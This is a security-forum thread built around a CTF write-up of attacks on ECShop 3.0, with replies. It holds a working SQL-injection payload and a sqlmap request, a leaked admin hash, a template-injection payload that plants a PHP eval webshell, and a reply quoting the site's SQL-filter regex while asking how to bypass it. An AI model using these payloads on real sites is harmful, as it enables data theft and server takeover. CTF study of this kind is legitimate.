[【通过】] 【已转正】Ecshop3.0前台注入&&后台Getshell

[复制链接]
老锥 发表于 2016-8-2 18:11:27 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 70

0x01
前两周去克拉玛依参加的丝绸之路杯CTF比赛,有道web题是最新版Ecshop3.0,当时花了很长时间做了出来,特此发表在90记录一下吧,希望能成为90中的一员。
比赛环境:Apache(印象中是,反正是linux主机搭建的)
版本号:ECShop_V3.0.0_UTF8_release0518
0x02
前台注入:
最新的Ecshop3.0后台改了样式,并且加入了第三方登录账号(对咱们然并卵),反正挺好看:
201608021610.jpg

前台有个注入,是个POST类型;
具体代码审计分析,网上有一些很详细:
https://www.t00ls.net/viewthread.php?tid=34104&extra=page=1&orderby=lastpost&filter=86400
flow.php文件出了问题:
http://127.0.0.1/flow.php?step=repurchase
post数据:order_id=1 or updatexml(1,concat(0x7e,(database())),0) or 11#
注入语句在database()处修改;

结果如下:
~ecshop
username:~admin~
password:~1b87e7ccff336b3f486ba3949bee3fa

用户名admin没什么问题,但是密码出了些问题,隐藏了一位;
当时只试了下limit限制了一下,但是操作失败没读出来,审查元素并没有,后来某大牛说利用截取函数来读;
读文件不完整用Substring(str,pos,len)函数 解决问题.他的意思是从字符串str的pos位位置起返回len个字符的子串. 譬如Substring(load_file(A),50,100)就是把 A的内容的第50个字母开始回显100个给你.那么就能逐段逐段的回显.

p.s. mysql的截断函数(其实大多数语言都有)知识点:
1、截取字符串
substring(str, pos)
substring(str, pos, length)
说明:substring(被截取字段,从第几位开始截取)
substring(被截取字段,从第几位开始截取,截取长度)
例:select substring(content,5) as abstract from my_content_t
select substring(content,5,200) as abstract from my_content_t
(注:如果位数是负数 如-5 则是从后倒数位数,到字符串结束或截取的长度)

2、从左开始截取字符串
left(str, length)
说明:left(被截取字段,截取长度)
例:select left(content,200) as abstract from my_content_t
3、从右开始截取字符串
right(str, length)
说明:right(被截取字段,截取长度)
例:select right(content,200) as abstract from my_content_t

一点大家都懂,本地模拟了下,举个例子:
20160802163737.jpg


回归Ecshop这个cms。。
当时直接用火狐post注出来的密码一直是缺少一位,想办法是抓包,重新构造包,来让SQLMAP来跑;
POST包如下:
[Bash shell] 纯文本查看 复制代码
POST /flow.php?step=repurchase HTTP/1.1
Host:?127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ECS[visit_times]=2; ECS_ID=1998571d464009d432a17951ee5852104eba8b75
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

order_id=1*

成功跑出管理密码:
user_name    ec_salt     password
admin           7427     1b87e7ccff336b3f486ba3949bee3fac

登录后台。
0x03
后台Getshell:
网上爆出的Ecshop2.7.x甚至之前版本的漏洞,在3.0行不通。
有个数据库备份,仍然可以是xxxxx.php.sql格式,这里如果服务器是iis6搭建的,可以利用iis6的解析漏洞;
但比赛是apache的环境,虽然apache也是可以将xxxxx.php.sql格式解析成php的,但这个apache是以module方式解析php的apache;
p.s. 在目前所有的apache版本中均存在此问题,但只适用于以cgi方式和module方式解析php的apache,使用fastcgi方式解析php的apache不受影响;
这也就说明为什么有的站点apache搭建的仍然没有解析漏洞。
比赛环境这个漏洞利用不了,从而利用了下面的漏洞;
模板管理--语言项编辑;
搜索关键字:用户信息;

201608021611.jpg
用户信息是个字一定不要删除,否则后面的user.php会报错;
在之后添加:
[Bash shell] 纯文本查看 复制代码
1.$ {
$ {
fputs(fopen(base64_decode(enp6LnBocA), w), base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbel0pPz4))
}
}

如图:

201608021612.jpg
保存:
201608021613.jpg
代码都能看懂,很简单;
访问就会在本目录下生成一个文件,并写入一句话;
然后访问根目录/user.php,会生成一句话;
201608021614.jpg
http://127.0.0.1/zzz.php     密码:z

201608021615.jpg
Getshell~
这里注意一点:
利用的exp里面的base64加密去掉了最后的=号。

0x04
总结:
截止到此文章发表,Ecshop官网最新版本是ECShop_V3.0.0_UTF8_release0530;
这个版本已经修补了前面说的前台注入漏洞;

但后面这个后台Getshell仍然没有修复。



【说明】
从《90sec鬼哥旁注C段利器》开始我就一直默默的关注90,每次看到90主页那个神秘的界面。

90sec主页.png


这个界面真的是非常迷人,让人无限向往。




为了进入90我也一直在努力,希望有一天能有个机会和大家在一个平台上进行交流。

今天这个时刻到了,感谢各位前辈 表哥。我爱90sec。


QQ图片20160802181056.jpg




===================================
管理给予通过,已经转正。
                  管理05




单选投票, 共有 40 人参与投票

投票已经结束

97.50% (39)
2.50% (1)
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

ch7ss 发表于 2016-8-2 18:15:16 | 显示全部楼层

正式成员|主题 |帖子 |积分 147

欢迎楼主加入90
芙蓉王 发表于 2016-8-2 18:21:24 | 显示全部楼层

正式成员|主题 |帖子 |积分 201

欢迎加入能提供一下前台注入的exp么
 楼主 老锥 发表于 2016-8-2 18:27:18 | 显示全部楼层

正式成员|主题 |帖子 |积分 70

芙蓉王 发表于 2016-8-2 18:21
欢迎加入能提供一下前台注入的exp么

你好,exp文章里面写了:
order_id=1 or updatexml(1,concat(0x7e,(database())),0) or 11#
手注的语句更改database()即可。
接地气 发表于 2016-8-2 18:31:43 | 显示全部楼层

九零元老|主题 |帖子 |积分 119

本帖最后由 接地气 于 2016-8-2 18:33 编辑

态度极其端正,思路清晰,基础扎实。    90欢迎你。
nearg1e 发表于 2016-8-2 19:06:42 | 显示全部楼层

正式成员|主题 |帖子 |积分 21

克拉玛依的题,在这里遇到也是某种缘分吧,而且思路挺不错的,给楼主一票0v0
寒风不冷 发表于 2016-8-2 20:04:06 | 显示全部楼层

正式成员|主题 |帖子 |积分 85

但这个apache是以module方式解析php的apache
但只适用于以cgi方式和module方式解析php的apache
都是m方式解析为啥还不能用?
火柴人 发表于 2016-8-2 20:31:38 | 显示全部楼层

正式成员|主题 |帖子 |积分 33

不错哟,胖锥
mobi 发表于 2016-8-2 20:48:51 | 显示全部楼层

乞丐|主题 |帖子 |积分 -1

态度极其端正,思路清晰,基础扎实。    90欢迎你。

评分

参与人数 1酒票 -1 收起 理由
管理05 -1 请勿灌水

查看全部评分

roisatm 发表于 2016-8-2 21:42:02 | 显示全部楼层

正式成员|主题 |帖子 |积分 46

话说ecshop MD5的密码不是有盐吗,要注入一个啥hash忘了,然后修改cookie才能登入吧。
 楼主 老锥 发表于 2016-8-2 21:51:55 | 显示全部楼层

正式成员|主题 |帖子 |积分 70

roisatm 发表于 2016-8-2 21:42
话说ecshop MD5的密码不是有盐吗,要注入一个啥hash忘了,然后修改cookie才能登入吧。

有盐,但丢cmd5有的能解出来,直接登录
xssshell 发表于 2016-8-3 00:35:27 | 显示全部楼层

正式成员|主题 |帖子 |积分 34

这个漏洞先前爆出的时候也看过,但是没仔细。楼主这个利用过程正好用上。
king7 发表于 2016-8-3 08:30:28 | 显示全部楼层

正式成员|主题 |帖子 |积分 139

主页是情怀。。。。
Le0nis 发表于 2016-8-4 08:34:08 | 显示全部楼层

正式成员|主题 |帖子 |积分 10

过来学习了 谢谢分享 这个0day 是从tools爆出来的吗?
0x0day 发表于 2016-8-4 16:52:56 | 显示全部楼层

正式成员|主题 |帖子 |积分 186

态度极端端正。欢迎。
HADESIDD 发表于 2016-8-5 10:01:33 | 显示全部楼层

正式成员|主题 |帖子 |积分 8

写的很不错,支持
g3tr1ce 发表于 2016-8-7 16:04:27 | 显示全部楼层

待审核成员|主题 |帖子 |积分 -1

90SEC的主页情怀应该很多人都有吧,特别是对我这种菜鸟
路人黑a 发表于 2016-8-7 23:03:22 | 显示全部楼层

待审核成员|主题 |帖子 |积分 0

情怀拿站。。。
0r3ak 发表于 2017-10-16 12:36:25 | 显示全部楼层

正式成员|主题 |帖子 |积分 142

@老锥 表哥咋绕过ecshop sql过滤检测的呢?

测试:
order_id=1 or updatexml(1,concat(0x7e,(SELECT password/*%00*/%0aFrom ecs_admin_user limit 0,1)),0) or 11#

您的提交带有不合法参数,谢谢合作

github对应代码:
https://github.com/xf1688/docker ... includes/safety.php

'sql'=>"[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)",
快速回复 返回顶部 返回列表